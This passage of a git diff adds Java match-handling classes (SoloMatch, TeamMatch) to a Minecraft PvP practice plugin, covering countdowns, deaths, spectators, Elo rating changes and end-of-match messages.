} + + this.sendMessage(winnerClickables); + this.sendMessage(loserClickables); + + Practice.getPlugin().getMatchManager().getMatches().remove(this.uniqueId); + + cleanSpectators(); + + this.matchStatus = MatchStatus.FINISHED; + } + + private void startSpectating(Player player) { + PracticeUtils.resetPlayer(player); + player.updateInventory(); + player.setMaximumNoDamageTicks(19); + player.setAllowFlight(true); + player.setFlying(true); + + Practice.getPlugin().getProfileManager().getProfile(player).setSpectatingMatch(this); + + for (Player p : getPlayers()) { + Practice.getPlugin().getEntityHider().hideEntity(p, player); + Practice.getPlugin().getEntityHider().showEntity(player, p); + } + + for (UUID uuid : this.spectators) { + Player p = Bukkit.getPlayer(uuid); + + if (p != null && p.isOnline()) { + Practice.getPlugin().getEntityHider().hideEntity(p, player); + Practice.getPlugin().getEntityHider().hideEntity(player, p); + } + } + + Practice.getPlugin().getProfileManager().getProfile(player).setStatus(ProfileStatus.SPECTATOR); + } + + private void cleanSpectators() { + Iterator specIterator = spectators.iterator(); + + while(specIterator.hasNext()) { + Player p = Bukkit.getPlayer(specIterator.next()); + specIterator.remove(); + + if (p != null) { + Practice.getPlugin().getSpectatorManager().stopSpectating(p, false); + p.sendMessage(ChatColor.RED + "The match has finished."); + } + } + } +} \ No newline at end of file diff --git a/Practice/src/main/java/me/redis/practice/match/type/SoloMatch.java b/Practice/src/main/java/me/redis/practice/match/type/SoloMatch.java new file mode 100644 index 0000000..f5e9662 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/match/type/SoloMatch.java @@ -0,0 +1,515 @@ +package me.redis.practice.match.type; + +import lombok.Getter; + +import me.redis.practice.Practice; +import me.redis.practice.arena.Arena; +import me.redis.practice.enums.ProfileStatus; +import me.redis.practice.ladders.Ladder; +import me.redis.practice.match.IMatch; +import me.redis.practice.enums.MatchStatus; +import me.redis.practice.enums.MatchType; +import me.redis.practice.match.cache.MatchCache; +import me.redis.practice.profile.Profile; +import me.redis.practice.queue.type.SoloQueue; +import me.redis.practice.tournament.Tournament; +import me.redis.practice.utils.SerializationUtils; +import mkremins.fanciful.FancyMessage; +import net.minecraft.server.v1_7_R4.PacketPlayInAbilities; +import net.minecraft.server.v1_7_R4.PlayerAbilities; +import org.apache.commons.lang.StringUtils; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.Location; +import org.bukkit.Sound; +import org.bukkit.craftbukkit.v1_7_R4.entity.CraftPlayer; +import org.bukkit.entity.Player; +import org.bukkit.inventory.ItemStack; +import org.bukkit.potion.PotionEffect; +import org.bukkit.potion.PotionEffectType; +import org.bukkit.scheduler.BukkitRunnable; + +import java.sql.Timestamp; +import java.util.*; + +public class SoloMatch implements IMatch { + @Getter private SoloQueue queue; + @Getter private UUID identifier; + @Getter private Ladder ladder; + @Getter private Arena arena; + @Getter private Boolean isRanked; + @Getter private MatchStatus matchStatus; + @Getter private MatchType matchType; + @Getter private Timestamp startTimestamp; + @Getter private Long startNano; + @Getter private List spectators; + @Getter private Player player1; + @Getter private Player player2; + @Getter private Map missedPotions; + + public SoloMatch(SoloQueue queue, Ladder ladder, Arena arena, Boolean isRanked, Player player1, Player player2) { + this.queue = queue; + this.identifier = UUID.randomUUID(); + this.ladder = ladder; + this.arena = arena; + this.isRanked = isRanked; + this.spectators = new ArrayList<>(); + this.matchStatus = MatchStatus.STARTING; + this.matchType = MatchType.ONE_VS_ONE; + this.player1 = player1; + this.player2 = player2; + missedPotions = new HashMap<>(); + + missedPotions.put(player1, 0); + missedPotions.put(player2, 0); + + Practice.getPlugin().getEntityHider().hideAllPlayers(player1); + Practice.getPlugin().getEntityHider().hideAllPlayers(player2); + + player1.setMaximumNoDamageTicks(19); + player2.setMaximumNoDamageTicks(19); + + player1.teleport(arena.getPos1()); + player2.teleport(arena.getPos2()); + + Profile profile1 = Practice.getPlugin().getProfileManager().getProfile(player1.getUniqueId()); + Profile profile2 = Practice.getPlugin().getProfileManager().getProfile(player2.getUniqueId()); + + profile1.setCurrentMatch(this); + profile2.setCurrentMatch(this); + + profile1.setStatus(ProfileStatus.MATCH); + profile2.setStatus(ProfileStatus.MATCH); + + resetPlayer(player1); + resetPlayer(player2); + + if (!ladder.getName().toLowerCase().equalsIgnoreCase("sumo")) { + profile1.showKits(ladder); + profile2.showKits(ladder); + } + + player1.updateInventory(); + player2.updateInventory(); + + player1.spigot().setCollidesWithEntities(true); + player2.spigot().setCollidesWithEntities(true); + + player1.setCanPickupItems(true); + player2.setCanPickupItems(true); + + if (isRanked) { + player1.sendMessage(ChatColor.GREEN + ladder.getName() + ChatColor.YELLOW + " ranked match found: " + ChatColor.GREEN + player1.getName() + "(" + profile1.getElo().get(ladder.getName()) + ")" + ChatColor.YELLOW + " vs " + ChatColor.GREEN + player2.getName() + "(" + profile2.getElo().get(ladder.getName()) + ")"); + player2.sendMessage(ChatColor.GREEN + ladder.getName() + ChatColor.YELLOW + " ranked match found: " + ChatColor.GREEN + player1.getName() + ChatColor.YELLOW + " vs " + ChatColor.GREEN + player2.getName()); + } else { + player1.sendMessage(ChatColor.GREEN + ladder.getName() + ChatColor.YELLOW + " unranked match found: " + ChatColor.GREEN + player1.getName() + ChatColor.YELLOW + " vs " + ChatColor.GREEN + player2.getName()); + player2.sendMessage(ChatColor.GREEN + ladder.getName() + ChatColor.YELLOW + " unranked match found: " + ChatColor.GREEN + player1.getName() + ChatColor.YELLOW + " vs " + ChatColor.GREEN + player2.getName()); + } + + player1.sendMessage(ChatColor.translateAlternateColorCodes('&', "&ePlaying in &a" + arena.getName() + " &emade by '&7" + StringUtils.join(arena.getAuthors(), ", ") + "&e'.")); + player2.sendMessage(ChatColor.translateAlternateColorCodes('&', "&ePlaying in &a" + arena.getName() + " &emade by '&7" + StringUtils.join(arena.getAuthors(), ", ") + "&e'.")); + + player1.showPlayer(player2); + player2.showPlayer(player1); + + Practice.getPlugin().getEntityHider().showEntity(player1, player2); + Practice.getPlugin().getEntityHider().showEntity(player2, player1); + + new BukkitRunnable() { + private int i = 5; + + public void run() { + if (matchStatus == MatchStatus.FINISHED || matchStatus == MatchStatus.CANCELLED) { + this.cancel(); + return; + } + + if (this.i <= 0) { + this.cancel(); + + startMatch(); + playSound(Sound.NOTE_PIANO, 2.0f); + + return; + } + + if (this.i != 1) { + sendMessage(ChatColor.GREEN + "Starting in " + ChatColor.YELLOW + this.i + ChatColor.GREEN + " seconds!"); + } else { + sendMessage(ChatColor.GREEN + "Starting in " + ChatColor.YELLOW + this.i + ChatColor.GREEN + " second!"); + } + + playSound(Sound.NOTE_PIANO, 1.0f); + --this.i; + } + }.runTaskTimer(Practice.getPlugin(), 0L, 20L); + } + + @Override + public UUID getUniqueId() { + return identifier; + } + + @Override + public List getPlayers() { + return Arrays.asList(player1, player2); + } + + @Override + public List getTeam(Player player) { + return Collections.emptyList(); + } + + @Override + public List getOpponents(Player player) { + if (player.equals(this.player1)) { + return Collections.singletonList(player2); + } + + if (player.equals(this.player2)) { + return Collections.singletonList(player1); + } + + return Collections.emptyList(); + } + + @Override + public Player getOpponent(Player player) { + if (player.equals(this.player1)) { + return player2; + } else if (player.equals(this.player2)) { + return player1; + } + + return null; + } + + @Override + public int getOpponentsLeft(Player player) { + return 1; + } + + @Override + public void handleDeath(Player player, Location location, String deathMessage) { + if (location != null) { + player.teleport(location.clone().add(0, 3, 0)); + } + + startSpectating(player); + + sendMessage(deathMessage); + + if (!deathMessage.contains("left the match")) { + playSound(Sound.AMBIENCE_THUNDER, 10.0f); + + Practice.getPlugin().getEntityHider().hideEntity(this.player1, this.player2); + Practice.getPlugin().getEntityHider().hideEntity(this.player2, this.player1); + } + + MatchCache.storeInventory(player, true, missedPotions.get(player)); + + if (player == this.player1) { + this.endMatch(this.player2, this.player1); + } + + if (player == this.player2) { + this.endMatch(this.player1, this.player2); + } + + if (Practice.getPlugin().getTournamentManager().getTournaments().size() > 0 && Practice.getPlugin().getTournamentManager().getTournaments().get(0) != null) { + Tournament tournament = Practice.getPlugin().getTournamentManager().getTournaments().get(0); + + if (tournament.getMatches().contains(this)) { + tournament.finishMatch(); + } + } + } + + @Override + public boolean isDead(Player player) { + return false; + } + + @Override + public void sendMessage(String message) { + for (Player p : getPlayers()) { + p.sendMessage(message); + } + + for (UUID uuid : spectators) { + if (Bukkit.getPlayer(uuid) != null) { + Bukkit.getPlayer(uuid).sendMessage(message); + } else { + spectators.remove(uuid); + } + } + } + + public void sendMessage(FancyMessage fancyMessage) { + for (Player p : getPlayers()) { + fancyMessage.send(p); + } + + for (UUID uuid : spectators) { + if (Bukkit.getPlayer(uuid) != null) { + fancyMessage.send(Bukkit.getPlayer(uuid)); + } else { + spectators.remove(uuid); + } + } + } + + private void playSound(Sound sound, float idk2) { + for (Player p : getPlayers()) { + p.playSound(p.getLocation(), sound, 10.0f, idk2); + } + + for (UUID uuid : spectators) { + if (Bukkit.getPlayer(uuid) != null) { + Bukkit.getPlayer(uuid).playSound(Bukkit.getPlayer(uuid).getLocation(), sound, 10.0F, idk2); + } else { + spectators.remove(uuid); + } + } + } + + @Override + public void cancelMatch(String cancelReason) { + matchStatus = MatchStatus.CANCELLED; + + sendMessage(ChatColor.RED + "The match has been cancelled for: " + ChatColor.RED + cancelReason); + + player1.hidePlayer(player2); + player2.hidePlayer(player1); + + Profile firstProfile = Practice.getPlugin().getProfileManager().getProfile(player1.getUniqueId()); + Profile secondProfile = Practice.getPlugin().getProfileManager().getProfile(player2.getUniqueId()); + + firstProfile.setStatus(ProfileStatus.LOBBY); + secondProfile.setStatus(ProfileStatus.LOBBY); + + firstProfile.setCurrentMatch(null); + secondProfile.setCurrentMatch(null); + + if (this.queue != null) { + this.queue.setPlayingAmount(queue.getPlayingAmount() - 2); + } + + resetPlayer(this.player1); + resetPlayer(this.player2); + + player1.setMaximumNoDamageTicks(19); + player2.setMaximumNoDamageTicks(19); + + firstProfile.giveItems(); + secondProfile.giveItems(); + + player1.updateInventory(); + player2.updateInventory(); + + + player1.teleport(Bukkit.getWorld(Practice.getPlugin().getConfig().getString("WORLD.NAME")).getSpawnLocation()); + player2.teleport(Bukkit.getWorld(Practice.getPlugin().getConfig().getString("WORLD.NAME")).getSpawnLocation()); + + Practice.getPlugin().getMatchManager().getMatches().remove(identifier); + + cleanSpectators(); + } + + private void startMatch() { + this.startTimestamp = new Timestamp(System.currentTimeMillis()); + this.startNano = System.nanoTime(); + this.matchStatus = MatchStatus.ONGOING; + + sendMessage(ChatColor.GREEN + "Duel starting now!"); + + player1.setWalkSpeed(0.2F); + + player2.setWalkSpeed(0.2F); + } + + private void endMatch(Player winner, Player loser) { + this.matchStatus = MatchStatus.FINISHED; + + if (this.queue != null) { + this.queue.setPlayingAmount(this.queue.getPlayingAmount() - 2); + } + + MatchCache.storeInventory(winner, false, missedPotions.get(winner)); + + winner.getInventory().clear(); + winner.getInventory().setArmorContents(null); + winner.getActivePotionEffects().forEach(effect -> winner.removePotionEffect(effect.getType())); + + winner.setMaximumNoDamageTicks(19); + loser.setMaximumNoDamageTicks(19); + + Profile winnerProfile = Practice.getPlugin().getProfileManager().getProfile(winner.getUniqueId()); + Profile loserProfile = Practice.getPlugin().getProfileManager().getProfile(loser.getUniqueId()); + + winnerProfile.setStatus(ProfileStatus.LOBBY); + loserProfile.setStatus(ProfileStatus.LOBBY); + + winnerProfile.setCurrentMatch(null); + loserProfile.setCurrentMatch(null); + + winnerProfile.setMatchesPlayed(winnerProfile.getMatchesPlayed() + 1); + loserProfile.setMatchesPlayed(loserProfile.getMatchesPlayed() + 1); + + if (isRanked) { + winnerProfile.setRankedWins(winnerProfile.getRankedWins() + 1); + loserProfile.setRankedLosses(loserProfile.getRankedLosses() + 1); + + int winnerElo = winnerProfile.getElo().get(ladder.getName()); + int loserElo = loserProfile.getElo().get(ladder.getName()); + + int winnerNewElo = getNewRating(winnerElo, loserElo, 1); + int loserNewElo = getNewRating(loserElo, winnerElo, 0); + + winnerProfile.getElo().put(ladder.getName(), winnerNewElo); + loserProfile.getElo().put(ladder.getName(), loserNewElo); + } else { + winnerProfile.setUnrankedWins(winnerProfile.getUnrankedWins() + 1); + loserProfile.setUnrankedLosses(loserProfile.getUnrankedLosses() + 1); + } + + FancyMessage playerClickable; + + if (isRanked) { + playerClickable = new FancyMessage("Inventories (click to view): ").color(ChatColor.GOLD) + .then(winner.getName()).color(ChatColor.YELLOW).command("/_ " + winner.getName()) + .then(", ") + .then(loser.getName()).color(ChatColor.YELLOW).command("/_ " + loser.getName()); + } else { + playerClickable = new FancyMessage("Inventories (click to view): ").color(ChatColor.GOLD) + .then(winner.getName()).color(ChatColor.YELLOW).command("/_ " + winner.getName()) + .then(", ") + .then(loser.getName()).color(ChatColor.YELLOW).command("/_ " + loser.getName()); + } + + winnerProfile.save(); + loserProfile.save(); + + resetPlayer(winner); + resetPlayer(loser); + + Practice.getPlugin().getEntityHider().showEntity(winner, loser); + Practice.getPlugin().getEntityHider().showEntity(loser, winner); + + for (UUID uuid : this.getSpectators()) { + Player p = Bukkit.getPlayer(uuid); + + if (p == null || !p.isOnline()) { + continue; + } + + for (UUID uuid2 : this.getSpectators()) { + Player p2 = Bukkit.getPlayer(uuid2); + + if (p2 == null || !p2.isOnline()) { + continue; + } + + Practice.getPlugin().getEntityHider().showEntity(p, p2); + Practice.getPlugin().getEntityHider().showEntity(p2, p); + } + + Practice.getPlugin().getEntityHider().showEntity(winner, p); + Practice.getPlugin().getEntityHider().showEntity(p, winner); + Practice.getPlugin().getEntityHider().showEntity(loser, p); + Practice.getPlugin().getEntityHider().showEntity(p, loser); + } + + this.sendMessage(ChatColor.YELLOW + "Winner: " + winner.getName()); + this.sendMessage(playerClickable); + if (isRanked) { + this.sendMessage(ChatColor.YELLOW + "Elo Changes: " + ChatColor.GREEN + winner.getName() + "(" + winnerProfile.getElo().get(ladder.getName()) + ") " + ChatColor.RED + loser.getName() + "(" + loserProfile.getElo().get(ladder.getName()) + ")"); + } + + cleanSpectators(); + + Practice.getPlugin().getMatchManager().getMatches().remove(identifier); + + new BukkitRunnable() { + public void run() { + if (winner.isOnline()) { + Profile profile = Practice.getPlugin().getProfileManager().getProfile(winner.getUniqueId()); + + if (profile != null && profile.getStatus() == ProfileStatus.LOBBY) { + winnerProfile.giveItems(); + winner.updateInventory(); + + winner.teleport(Bukkit.getWorld(Practice.getPlugin().getConfig().getString("WORLD.NAME")).getSpawnLocation()); + } + + winner.setFlying(false); + winner.setAllowFlight(false); + + Practice.getPlugin().getEntityHider().hideAllPlayers(winner); + } + + if (loser.isOnline()) { + Profile profile = Practice.getPlugin().getProfileManager().getProfile(loser.getUniqueId()); + + if (profile != null && profile.getStatus() == ProfileStatus.LOBBY) { + loserProfile.giveItems(); + loser.updateInventory(); + loser.teleport(Bukkit.getWorld(Practice.getPlugin().getConfig().getString("WORLD.NAME")).getSpawnLocation()); + } + + loser.setFlying(false); + loser.setAllowFlight(false); + Practice.getPlugin().getEntityHider().hideAllPlayers(loser); + } + } + }.runTaskLater(Practice.getPlugin(), 20L * 5); + } + + private void startSpectating(Player player) { + player.setAllowFlight(true); + + new BukkitRunnable() { + public void run() { + player.setFlying(true); + } + }.runTaskLater(Practice.getPlugin(), 10L); + } + + private void cleanSpectators() { + Iterator specIterator = spectators.iterator(); + + while(specIterator.hasNext()) { + Player p = Bukkit.getPlayer(specIterator.next()); + + if (p != null) { + Practice.getPlugin().getSpectatorManager().stopSpectating(p, false); + } + + specIterator.remove(); + } + } + + public static void resetPlayer(Player player) { + player.setCanPickupItems(false); + player.getInventory().clear(); + player.getInventory().setArmorContents(new ItemStack[4]); + player.setHealth(20.0); + player.setFoodLevel(20); + player.setFireTicks(1); + player.getActivePotionEffects().forEach(effect -> player.removePotionEffect(effect.getType())); + } + + public int getNewRating(int rating, int opponentRating, double score) { + double kFactor = 32; + double expectedScore = getExpectedScore(rating, opponentRating); + return calculateNewRating(rating, score, expectedScore, kFactor); + } + + private int calculateNewRating(int oldRating, double score, double expectedScore, double kFactor) { + return oldRating + (int) (kFactor * (score - expectedScore)); + } + + private double getExpectedScore(int rating, int opponentRating) { + return 1.0 / (1.0 + Math.pow(10.0, ((double) (opponentRating - rating) / 400.0))); + } +} \ No newline at end of file diff --git a/Practice/src/main/java/me/redis/practice/match/type/TeamMatch.java b/Practice/src/main/java/me/redis/practice/match/type/TeamMatch.java new file mode 100644 index 0000000..9c648de --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/match/type/TeamMatch.java @@ -0,0 +1,553 @@ +package me.redis.practice.match.type; + +import lombok.Getter; + +import me.redis.practice.Practice; +import me.redis.practice.arena.Arena; +import me.redis.practice.enums.MatchStatus; +import me.redis.practice.enums.MatchType; +import me.redis.practice.enums.ProfileStatus; +import me.redis.practice.ladders.Ladder; +import me.redis.practice.match.IMatch; +import me.redis.practice.match.cache.MatchCache; +import me.redis.practice.profile.Profile; +import me.redis.practice.queue.type.TeamVsTeamQueue; +import me.redis.practice.team.Team; +import me.redis.practice.utils.PracticeUtils; +import mkremins.fanciful.FancyMessage; + +import org.apache.commons.lang.StringUtils; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.Location; +import org.bukkit.Sound; +import org.bukkit.entity.Player; +import org.bukkit.potion.PotionEffect; +import org.bukkit.potion.PotionEffectType; +import org.bukkit.scheduler.BukkitRunnable; + +import java.sql.Timestamp; +import java.util.*; +import java.util.Map.Entry; + +public class TeamMatch implements IMatch { + @Getter private UUID identifier; + @Getter private TeamVsTeamQueue queue; + @Getter private Ladder ladder; + @Getter private Arena arena; + @Getter private MatchStatus matchStatus; + @Getter private MatchType matchType; + @Getter private Timestamp startTimestamp; + @Getter private Long startNano; + @Getter private Map team1 = new HashMap<>(); + @Getter private Map team2 = new HashMap<>(); + @Getter private List spectators = new ArrayList<>(); + @Getter private List leftMatch = new ArrayList<>(); + + public TeamMatch(TeamVsTeamQueue queue, Ladder ladder, Arena arena, MatchType matchType, List team1, List team2) { + this.identifier = UUID.randomUUID(); + this.queue = queue; + this.ladder = ladder; + this.arena = arena; + this.matchStatus = MatchStatus.STARTING; + this.matchType = matchType; + + for (Player p : team1) { + this.team1.put(p.getUniqueId(), true); + + for (Player p2 : team1) { + p.showPlayer(p2); + } + + for (Player p2 : team2) { + p.showPlayer(p2); + } + + PracticeUtils.resetPlayer(p); + + Profile profile = Practice.getPlugin().getProfileManager().getProfile(p); + + profile.setCurrentMatch(this); + profile.setStatus(ProfileStatus.MATCH); + profile.showKits(ladder); + + p.updateInventory(); + p.spigot().setCollidesWithEntities(true); + p.setCanPickupItems(true); + p.teleport(arena.getPos1()); + p.setMaximumNoDamageTicks(19); + p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&ePlaying in &a" + arena.getName() + " &emade by '&7" + StringUtils.join(arena.getAuthors(), ", ") + "&e'.")); + } + + for (Player p : team2) { + this.team2.put(p.getUniqueId(), true); + + for (Player p2 : team1) { + p.showPlayer(p2); + } + + for (Player p2 : team2) { + p.showPlayer(p2); + } + + PracticeUtils.resetPlayer(p); + + Profile profile = Practice.getPlugin().getProfileManager().getProfile(p); + + profile.setCurrentMatch(this); + profile.setStatus(ProfileStatus.MATCH); + profile.showKits(ladder); + + p.updateInventory(); + p.spigot().setCollidesWithEntities(true); + p.setCanPickupItems(true); + p.teleport(arena.getPos2()); + p.setMaximumNoDamageTicks(19); + p.sendMessage(ChatColor.translateAlternateColorCodes('&', "&ePlaying in &a" + arena.getName() + " &emade by '&7" + StringUtils.join(arena.getAuthors(), ", ") + "&e'.")); + } + + for (Player p : getPlayers()) { + Practice.getPlugin().getEntityHider().hideAllPlayers(p); + } + + for (Player p : getPlayers()) { + for (Player p2 : getPlayers()) { + Practice.getPlugin().getEntityHider().showEntity(p, p2); + Practice.getPlugin().getEntityHider().showEntity(p2, p); + } + } + + new BukkitRunnable() { + private int i = 5; + + public void run() { + if (matchStatus == MatchStatus.FINISHED || matchStatus == MatchStatus.CANCELLED) { + this.cancel(); + return; + } + + if (this.i <= 0) { + this.cancel(); + + startMatch(); + playSound(Sound.NOTE_PIANO, 2.0f); + + return; + } + + if (this.i != 1) { + sendMessage(ChatColor.GREEN + "Starting in " + ChatColor.YELLOW + this.i + ChatColor.GREEN + " seconds!"); + } else { + sendMessage(ChatColor.GREEN + "Starting in " + ChatColor.YELLOW + this.i + ChatColor.GREEN + " second!"); + } + + playSound(Sound.NOTE_PIANO, 1.0f); + --this.i; + } + }.runTaskTimer(Practice.getPlugin(), 0L, 20L); + } + + @Override + public UUID getUniqueId() { + return identifier; + } + + @Override + public List getPlayers() { + List players = new ArrayList<>(); + players.addAll(this.getTeam1Players()); + players.addAll(this.getTeam2Players()); + return players; + } + + @Override + public List getTeam(Player player) { + if (this.team1.containsKey(player.getUniqueId())) { + return this.getTeam1Players(); + } else { + return this.getTeam2Players(); + } + } + + @Override + public List getOpponents(Player player) { + if (this.team1.containsKey(player.getUniqueId())) { + return this.getTeam2Players(); + } else { + return this.getTeam1Players(); + } + } + + @Override + public Player getOpponent(Player player) { + return null; + } + + @Override + public int getOpponentsLeft(Player player) { + if (this.team1.containsKey(player.getUniqueId())) { + return Collections.frequency(new ArrayList<>(this.team2.values()), true); + } else { + return Collections.frequency(new ArrayList<>(this.team1.values()), true); + } + } + + @Override + public void handleDeath(Player player, Location location, String deathMessage) { + if (this.team1.containsKey(player.getUniqueId())) { + if (!this.team1.get(player.getUniqueId())) { + return; + } + } else { + if (!this.team2.get(player.getUniqueId())) { + return; + } + } + + if (deathMessage.contains("has left the match.")) { + this.leftMatch.add(player.getUniqueId()); + } else { + playSound(Sound.AMBIENCE_THUNDER, 10.0f); + } + + if (this.team1.containsKey(player.getUniqueId())) { + this.team1.replace(player.getUniqueId(), false); + + Set values = new HashSet<>(this.team1.values()); + boolean isUnique = values.size() == 1; + + if (isUnique) { + this.endMatch(this.team2, this.team1); + } else { + for (Player p : this.getPlayers()) { + p.hidePlayer(player); + } + + this.startSpectating(player); + + if (location != null) { + player.teleport(location.clone().add(0, 3, 0)); + } + } + } else if (this.team2.containsKey(player.getUniqueId())) { + this.team2.replace(player.getUniqueId(), false); + + Set values = new HashSet<>(this.team2.values()); + boolean isUnique = values.size() == 1; + + if (isUnique) { + this.endMatch(this.team1, this.team2); + } else { + for (Player p : this.getPlayers()) { + p.hidePlayer(player); + } + + this.startSpectating(player); + + if (location != null) { + player.teleport(location.clone().add(0, 3, 0)); + } + + new BukkitRunnable() { + @Override + public void run() { + if (player.isOnline()) { + player.setHealth(20); + player.setFireTicks(0); + } + } + }.runTaskLater(Practice.getPlugin(), 10L); + } + } + } + + @Override + public boolean isDead(Player player) { + return this.team1.containsKey(player.getUniqueId()) ? !this.team1.get(player.getUniqueId()) : !this.team2.get(player.getUniqueId()); + } + + @Override + public void sendMessage(String message) { + for (Player p : getPlayers()) { + p.sendMessage(message); + } + + for (UUID uuid : this.spectators) { + if (Bukkit.getPlayer(uuid) != null) { + Bukkit.getPlayer(uuid).sendMessage(message); + } else { + this.spectators.remove(uuid); + } + } + } + + public void sendMessage(FancyMessage fancyMessage) { + for (Player p : getPlayers()) { + fancyMessage.send(p); + } + + for (UUID uuid : this.spectators) { + if (Bukkit.getPlayer(uuid) != null) { + fancyMessage.send(Bukkit.getPlayer(uuid)); + } else { + this.spectators.remove(uuid); + } + } + } + + private void playSound(Sound sound, float idk2) { + for (Player p : getPlayers()) { + p.playSound(p.getLocation(), sound, 10.0f, idk2); + } + + for (UUID uuid : this.spectators) { + if (Bukkit.getPlayer(uuid) != null) { + Bukkit.getPlayer(uuid).playSound(Bukkit.getPlayer(uuid).getLocation(), sound, 10.0F, idk2); + } else { + this.spectators.remove(uuid); + } + } + } + + private List getTeam1Players() { + List players = new ArrayList<>(); + + for (UUID uuid : this.team1.keySet()) { + Player p = Bukkit.getPlayer(uuid); + + if (p == null || !p.isOnline()) { + continue; + } + + players.add(p); + } + + return players; + } + + private List getTeam2Players() { + List players = new ArrayList<>(); + + for (UUID uuid : this.team2.keySet()) { + Player p = Bukkit.getPlayer(uuid); + + if (p == null || !p.isOnline()) { + continue; + } + + players.add(p); + } + + return players; + } + + @Override + public void cancelMatch(String cancelReason) { + this.sendMessage(ChatColor.RED + "The match has been cancelled for: " + ChatColor.RED + cancelReason); + + if (queue != null) { + queue.setPlayingAmount(queue.getPlayingAmount() - 2); + } + + for (Player p : getPlayers()) { + if (leftMatch.contains(p.getUniqueId())) continue; + + PracticeUtils.resetPlayer(p); + + Profile profile = Practice.getPlugin().getProfileManager().getProfile(p); + profile.setStatus(ProfileStatus.LOBBY); + profile.setCurrentMatch(null); + + if (profile.getTeam() != null) { + if (profile.getTeam().getLeader() == p) { + p.getInventory().setContents(PracticeUtils.getTeamLeaderInventory()); + } else { + p.getInventory().setContents(PracticeUtils.getTeamMemberInventory()); + } + } else { + p.getInventory().setContents(PracticeUtils.getLobbyInventory()); + } + + p.updateInventory(); + p.setAllowFlight(false); + p.setMaximumNoDamageTicks(19); + + p.teleport(Bukkit.getWorld(Practice.getPlugin().getConfig().getString("WORLD.NAME")).getSpawnLocation()); + } + + cleanSpectators(); + + Practice.getPlugin().getMatchManager().getMatches().remove(this.identifier); + + this.matchStatus = MatchStatus.CANCELLED; + } + + private void startMatch() { + this.startTimestamp = new Timestamp(System.currentTimeMillis()); + this.startNano = System.nanoTime(); + this.matchStatus = MatchStatus.ONGOING; + + sendMessage(ChatColor.GREEN + "Duel starting now!"); + } + + private void endMatch(Map winners, Map losers) { + FancyMessage inventoriesClickables = new FancyMessage("Inventories (click to view): ").color(ChatColor.GOLD); + + if (queue != null) { + queue.setPlayingAmount(queue.getPlayingAmount() - 2); + } + + int i = 0; + + for (UUID winClick : winners.keySet()) { + Player player = Bukkit.getPlayer(winClick); + if (player == null || !player.isOnline()) { + continue; + } + + inventoriesClickables.then(player.getName() + ", ").color(ChatColor.YELLOW).command("/_ " + player.getName()); + } + + for (UUID loseClick : losers.keySet()) { + Player player = Bukkit.getPlayer(loseClick); + if (player == null || !player.isOnline()) { + continue; + } + + inventoriesClickables.then(player.getName() + ", ").color(ChatColor.YELLOW).command("/_ " + player.getName()); + } + + for (Entry entry : winners.entrySet()) { + i++; + + Player player = Bukkit.getPlayer(entry.getKey()); + + if (player == null || !player.isOnline()) { + continue; + } + +/* if (i == winners.size()) { + winnerClickables.then(player.getName()).color(ChatColor.GREEN).command("/_ " + player.getName()); + } else { + winnerClickables.then(player.getName() + ", ").color(ChatColor.GREEN).command("/_ " + player.getName()); + }*/ + + if (entry.getValue()) { + MatchCache.storeInventory(player, false); + } + + Profile profile = Practice.getPlugin().getProfileManager().getProfile(player); + profile.setUnrankedWins(profile.getUnrankedWins() + 1); + profile.setStatus(ProfileStatus.LOBBY); + profile.setCurrentMatch(null); + profile.save(); + + PracticeUtils.resetPlayer(player); + + if (profile.getTeam() != null) { + if (profile.getTeam().getLeader() == player) { + player.getInventory().setContents(PracticeUtils.getTeamLeaderInventory()); + } else { + player.getInventory().setContents(PracticeUtils.getTeamMemberInventory()); + } + } else { + player.getInventory().setContents(PracticeUtils.getLobbyInventory()); + } + + player.setMaximumNoDamageTicks(19); + player.setAllowFlight(false); + player.updateInventory(); + + Practice.getPlugin().getEntityHider().hideAllPlayers(player); + player.teleport(Bukkit.getWorld(Practice.getPlugin().getConfig().getString("WORLD.NAME")).getSpawnLocation()); + } + + i = 0; + + for (Entry entry : losers.entrySet()) { + i++; + + Player player = Bukkit.getPlayer(entry.getKey()); + + if (player == null || !player.isOnline()) { + continue; + } + + /* if (i == losers.size()) { + loserClickables.then(player.getName()).color(ChatColor.RED).command("/_ " + player.getName()); + } else { + loserClickables.then(player.getName() + ", ").color(ChatColor.RED).command("/_ " + player.getName()); + }*/ + + Profile profile = Practice.getPlugin().getProfileManager().getProfile(player); + profile.setUnrankedLosses(profile.getUnrankedLosses() + 1); + profile.setStatus(ProfileStatus.LOBBY); + profile.setCurrentMatch(null); + profile.save(); + + PracticeUtils.resetPlayer(player); + + if (profile.getTeam() != null) { + if (profile.getTeam().getLeader() == player) { + player.getInventory().setContents(PracticeUtils.getTeamLeaderInventory()); + } else { + player.getInventory().setContents(PracticeUtils.getTeamMemberInventory()); + } + } else { + player.getInventory().setContents(PracticeUtils.getLobbyInventory()); + } + + player.setMaximumNoDamageTicks(19); + player.setAllowFlight(false); + player.updateInventory(); + + Practice.getPlugin().getEntityHider().hideAllPlayers(player); + player.teleport(Bukkit.getWorld(Practice.getPlugin().getConfig().getString("WORLD.NAME")).getSpawnLocation()); + } + + //sendMessage(ChatColor.YELLOW + "Winners: " + Practice.getPlugin().getProfileManager().getProfile()); TODO + this.sendMessage(inventoriesClickables); + + Practice.getPlugin().getMatchManager().getMatches().remove(this.identifier); + + cleanSpectators(); + + this.matchStatus = MatchStatus.FINISHED; + } + + private void startSpectating(Player player) { + PracticeUtils.resetPlayer(player); + player.updateInventory(); + player.setMaximumNoDamageTicks(19); + player.setAllowFlight(true); + player.setFlying(true); + + for (Player p : getPlayers()) { + Practice.getPlugin().getEntityHider().hideEntity(p, player); + Practice.getPlugin().getEntityHider().showEntity(player, p); + } + + for (UUID uuid : this.spectators) { + Player p = Bukkit.getPlayer(uuid); + + if (p != null && p.isOnline()) { + Practice.getPlugin().getEntityHider().hideEntity(p, player); + Practice.getPlugin().getEntityHider().hideEntity(player, p); + } + } + } + + private void cleanSpectators() { + Iterator specIterator = spectators.iterator(); + + while (specIterator.hasNext()) { + Player p = Bukkit.getPlayer(specIterator.next()); + specIterator.remove(); + + if (p != null) { + Practice.getPlugin().getSpectatorManager().stopSpectating(p, false); + p.sendMessage(ChatColor.RED + "The match has finished."); + } + } + } +} \ No newline at end of file diff --git 